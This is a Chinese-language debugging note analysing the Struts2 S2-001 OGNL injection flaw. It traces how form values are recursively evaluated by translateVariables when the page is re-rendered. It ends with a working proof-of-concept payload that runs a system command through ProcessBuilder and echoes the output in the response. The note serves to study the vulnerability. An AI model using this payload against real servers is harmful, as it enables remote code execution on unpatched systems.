漏洞代码调试(二):Strtus2-001代码分析调试

Strtus2-001代码分析调试（学习笔记）

一、漏洞描述：

Struts2 中的validation机制。validation依靠validation和workflow两个拦截器。validation会根据配置的xml文件创建一个特殊字段错误列表。而workflow则会根据validation的错误对其进行检测，如果输入有值，将会把用户带回到原先提交表单的页面，并且将值返回。反之，在默认情况下，如果控制器没有得到任何的输入结果但是有validation验证错误。那么用户将会得到一个错误的信息提示。

提交表单并验证失败时，由于Strust2默认会原样返回用户输入的值而且不会跳转到新的页面，因此当返回用户输入的值并进行标签解析时，如果开启了altSyntax，会调用translateVariables方法对标签中表单名进行OGNL表达式递归解析返回ValueStack值栈中同名属性的值。因此我们可以构造特定的表单值让其进行OGNL表达式解析从而达到任意代码执行。

二、影响版本

影响版本: 2.0.0 - 2.0.8

<dependency><groupId>org.apache.struts</groupId><artifactId>struts2-core</artifactId><version>2.0.8</version></dependency></dependencies>

三、漏洞分析

Struts2的运行流程是1、HTTP请求经过一系列的过滤器，最后到达FilterDispatcher过滤器。2、FilterDispatcher将请求转发给ActionMapper，判断该请求是否需要处理。3、如果该请求需要处理，FilterDispatcher会创建一个ActionProxy来进行后续的处理。4、ActionProxy拿着HTTP请求，询问struts.xml该调用哪一个Action进行处理。5、当知道目标Action之后，实例化一个ActionInvocation来进行调用。6、然后运行在Action之前的拦截器。7、运行Action，生成一个Result。8、Result根据页面模板和标签库，生成要响应的内容。9、根据响应逆序调用拦截器，然后生成最终的响应并返回给Web服务器。漏洞关键位置xwork-2.0-beta-1.jar!/com/opensymphony/xwork2/util/TextParseUtil.class中的translateVariables方法下断点。

opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class

前面都是一些应用初始化、调度、Struts2 拦截器执行、Action执行等操作，直接跳过。

本次操作只是访问http://localhost:8080/s2vuls_war/pages/s2001/index.jsp获取只有

传入的参数为空，因为Action的返回值为error，所以doForward会跳转到index.jsp，后面再进行一系列过滤器调用、JspServlet调用解析jsp等操作。

后面执行dorun请求的URL资源index.jsp

http://localhost:8080/s2vuls_war/pages/s2001/index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"         pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head>    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">    <title>S2-001</title></head><body><h2>S2-001 Demo</h2><p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p><s:form action="s2001">    <s:textfield name="username" label="username" />    <s:textfield name="password" label="password" />    <s:submit></s:submit></s:form></body></html>

直接跟到org.apache.struts2.views.jsp.ComponentTagSupport的doStartTag方法，这里会对jsp标签进行解析，从form标签开始，我们步入到解析textfield标签时。

org/apache/struts/struts2-core/2.0.8/struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class

开始请求提交访问解析到form表单

form表单解析到textfield

开始是解析到textfield第一个字段：username

接下里到textfield第二个字段：password

接下来到submit

前端页面解析的一个过程

执行完doStartTag后会再次回到index.jsp，此时遇到了相应的闭合标签/>，会跳转到doEndTag():

public int doStartTag() throws JspException {    this.component = this.getBean(this.getStack(), (HttpServletRequest)this.pageContext.getRequest(), (HttpServletResponse)this.pageContext.getResponse());    Container container = Dispatcher.getInstance().getContainer();    container.inject(this.component);    this.populateParams();    boolean evalBody = this.component.start(this.pageContext.getOut());    if (evalBody) {        return this.component.usesBody() ? 2 : 1;    } else {        return 0;    }}-------------------------------分割线-------------------------------public int doEndTag() throws JspException {    this.component.end(this.pageContext.getOut(), this.getBody());    this.component = null;    return 6;}

跟进component.end()，到达org.apache.struts2.components.UIBean#end

org/apache/struts/struts2-core/2.0.8/struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class

继续跟入this.evaluateParams();，由于开启了altSyntax，expr = %{password}

altSyntax功能是 Struts2 框架用于处理标签内容的一种新语法（不同于普通的 HTML ），该功能主要作用在于支持对标签中的OGNL表达式进行解析并执行。altSyntax功能在处理标签时，对OGNL表达式的解析能力实际上是依赖于开源组件XWork。

继续跟入this.findValue(expr, valueClazz);

protected Object findValue(String expr, Class toType) {    if (this.altSyntax() && toType == String.class) {        return TextParseUtil.translateVariables('%', expr, this.stack);    } else {        if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) {            expr = expr.substring(2, expr.length() - 1);        }        return this.getStack().findValue(expr, toType);    }}

altSyntax，toType 为class.java.lang.string，跟入com.opensymphony.xwork2.util.TextParseUtil中的translateVariables('%', expr, this.stack);

opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {    Object result = expression;    while(true) {        int start = expression.indexOf(open + "{");        int length = expression.length();        int x = start + 2;        int count = 1;        while(start != -1 && x < length && count != 0) {            char c = expression.charAt(x++);            if (c == '{') {                ++count;            } else if (c == '}') {                --count;            }        }        int end = x - 1;        if (start == -1 || end == -1 || count != 0) {            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);        }        String var = expression.substring(start + 2, end);        Object o = stack.findValue(var, asType);        if (evaluator != null) {            o = evaluator.evaluate(o);        }        String left = expression.substring(0, start);        String right = expression.substring(end + 1);        if (o != null) {            if (TextUtils.stringSet(left)) {                result = left + o;            } else {                result = o;            }            if (TextUtils.stringSet(right)) {                result = result + right;            }            expression = left + o + right;        } else {            result = left + right;            expression = left + right;        }    }}

expression为%{password}，先经过while循环确定出表达式的start和end，然后取出来password赋值给var变量

stack.findValue(var, asType);，这里的stack为OgnlValueStack，它是ValueStack的实现类。

String VALUE_STACK = "com.opensymphony.xwork2.util.ValueStack.ValueStack";String REPORT_ERRORS_ON_NO_PROP = "com.opensymphony.xwork2.util.ValueStack.ReportErrorsOnNoProp";

ValueStack是Struts2的一个接口，字面意义为值栈，类似于一个数据中转站，Struts2的数据都保存在ValueStack中。客户端发起一个请求struts2会创建一个Action实例同时创建一个OgnlValueStack值栈实例，OgnlValueStack贯穿整个Action的生命周期。Struts2中使用OGNL将请求Action的参数封装为对象存储到值栈中，并通过OGNL表达式读取值栈中的对象属性值。

ValueStack中有两个主要区域

1、CompoundRoot 区域：是一个ArrayList，存储了Action实例，它作为OgnlContext的Root对象。获取root数据不需要加#

2、context 区域：即OgnlContext上下文，是一个Map，放置web开发常用的对象数据的引用。request、session、parameters、application等。获取context数据需要加#

操作值栈，通常指的是操作ValueStack中的root区域。

OgnlValueStack的findValue方法可以在CompoundRoot中从栈顶向栈底找查找对象的属性值。

public Object findValue(String expr, Class asType) {    Object var4;    try {        Object value;        if (expr == null) {            value = null;            return value;        }        if (this.overrides != null && this.overrides.containsKey(expr)) {            expr = (String)this.overrides.get(expr);        }        value = OgnlUtil.getValue(expr, this.context, this.root, asType);        if (value != null) {            var4 = value;            return var4;        }        var4 = this.findInContext(expr);        return var4;    } catch (OgnlException var9) {        var4 = this.findInContext(expr);        return var4;    } catch (Exception var10) {        this.logLookupFailure(expr, var10);        var4 = this.findInContext(expr);    } finally {        OgnlContextState.clear(this.context);    }    return var4;}

OgnlUtil.getValue(expr, this.context, this.root, asType);

Ognl.getValue(compile(name), context, root, resultType);会根据root和context对象对表达式compile(name)进行解析。

这里因为name为password，会从root栈中LoginAction对象中获取到我们提交的参数password并返回

前端提交和请求参数，filter来拦截请求并处理，所以在struts2-core-2.0.8.jar!/org/apache/struts2/dispatcher/FilterDispatcher.class处，tomcat将请求交给struts2处理

先在过滤器，请求参数和action方法绑定，再调用loginaction方法

返回值进行一系列处理后，最后又赋值给expression，接着会再次进入translateVariables进行解析，然后进入下一次while循环

逻辑运行完之后，struts2将返回响应，并重新渲染jsp。问题就出在重新渲染时，struts2对ognl表达式进行了二次解析，导致攻击者输入的恶意表达式被执行。

主要是%{}表达式

这个方法对表达式是是递归解析的，如果说%{username}的结果还是一个表达式（被%{}包裹）的话，那么程序会继续解析，这造成了恶意ognl表达式的执行。

计算的结果

上面是简单的计算：

尝试系统命令的执行：POC

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ifconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}